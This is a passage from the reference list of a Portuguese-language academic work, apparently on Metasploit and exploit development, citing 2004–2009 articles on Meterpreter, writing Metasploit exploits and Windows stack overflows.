<http://www.metasploit.com/documents/meterpreter.pdf>. Acesso em: 23 junho 2009. MOOKHEY, K. K.; SINGH, P. Metasploit Framework, 12 jul. 2004. Disponivel em: <http://www.securityfocus.com/infocus/1789>. Acesso em: 13 Maio 2009. OSBORNE, A. Microprocessadores. So Paulo: McGraw-Hill, 1984. PELAGALLI, R. Writing exploits for Metasploit 3.0, 24 janeiro 2008. Disponivel em: <http://redstack.net/blog/index.php/2008/01/24/writing-exploits-for-metasploit-30.html>. Acesso em: 23 junho 2009.
48
SIQUEIRA, D. D. D. Explorando Stack Overflow no Windows, 8 Maio 2009. Disponivel em: <http://www.milw0rm.com/papers/328>. Acesso em: 13 junho 2009. VIEIRA, L. Metasploit Framework, 11 Novembro 2008. Disponivel em: